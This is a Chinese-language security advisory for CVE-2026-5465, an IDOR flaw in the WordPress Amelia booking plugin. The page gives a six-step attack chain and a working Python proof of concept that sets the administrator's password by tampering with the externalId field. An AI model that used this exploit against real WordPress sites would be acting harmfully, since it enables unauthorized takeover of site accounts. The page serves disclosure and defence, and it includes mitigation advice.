IPBUF安全漏洞报告
English
CVE-2026-5465 CVSS 8.8 高危

CVE-2026-5465 WordPress Amelia插件IDOR漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-5465
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Amelia Plugin

相关标签

IDORWordPress权限提升Amelia Plugin账户接管

漏洞概述

WordPress插件“Booking for Appointments and Events Calendar – Amelia”在2.1.3及之前版本中存在严重的安全漏洞。该漏洞源于不安全的直接对象引用(IDOR),允许拥有Provider(员工)及以上权限的经过身份验证的攻击者,在更新个人资料时篡改`externalId`字段。由于该字段直接映射到WordPress用户ID,且缺乏有效的授权验证,攻击者可以利用此缺陷接管任意WordPress账户(包括管理员账户),从而完全控制网站。该漏洞CVSS评分为8.8,属于高危级别,对网站的安全性构成极大威胁。

技术细节

该漏洞的核心问题位于`UpdateProviderCommandHandler`类中。当Provider级别的用户更新自己的个人资料时,应用程序会处理`externalId`参数。正常情况下,该参数用于关联外部用户ID,但代码逻辑未对修改此参数的权限进行严格校验。攻击者可以通过拦截请求并篡改数据包,将`externalId`修改为目标管理员用户的ID。更为严重的是,系统随后将此未经充分验证的`externalId`直接传递给`wp_set_password()`和`wp_update_user()`等WordPress核心函数。这意味着系统会将修改后的密码或用户信息应用到目标ID对应的账户上,而不是当前请求者的账户。由于缺乏对目标用户所有权的校验,低权限用户(如员工)可以借此提权至管理员权限,实现对WordPress站点的完全控制。

攻击链分析

STEP 1
1. 获取低权限账号
攻击者注册或获取一个具有Provider(员工/提供者)级别的WordPress账户权限。
STEP 2
2. 登录并访问更新接口
攻击者登录后台,找到更新个人资料的API接口(通常由UpdateProviderController处理)。
STEP 3
3. 篡改请求数据
攻击者拦截HTTP请求,修改数据包中的`externalId`参数,将其值替换为目标管理员账户的ID(如1)。
STEP 4
4. 服务器处理漏洞
服务器端的`UpdateProviderCommandHandler`接收到请求,未验证`externalId`是否属于当前登录用户。
STEP 5
5. 执行敏感操作
系统将`externalId`传递给`wp_set_password()`或`wp_update_user()`,直接修改目标管理员账户的密码或信息。
STEP 6
6. 账户接管
攻击者使用新设置的管理员密码登录,获得网站最高控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://example.com/wp-admin/admin-ajax.php" attacker_session_cookie = "wordpress_logged_in_xxx..." # Cookie of a low-priv Provider user # The ID of the Administrator account to take over (usually 1) target_admin_id = "1" new_password = "HackedPassword123!" # Payload demonstrating the IDOR vulnerability # The 'externalId' field maps directly to the WordPress User ID payload = { "action": "wpamelia_api", "call": "/users/providers/update", "externalId": target_admin_id, # Malicious injection of Admin ID "password": new_password, # Setting a new password for the Admin "firstName": "Admin", "lastName": "User" } headers = { "Cookie": attacker_session_cookie, "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if Admin password was changed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

WordPress Amelia Plugin <= 2.1.3

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Amelia插件以停止相关API服务。或者通过Web应用防火墙(WAF)添加规则,拦截对`/users/providers/update`接口的请求中包含非当前用户ID的`externalId`参数的提交。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表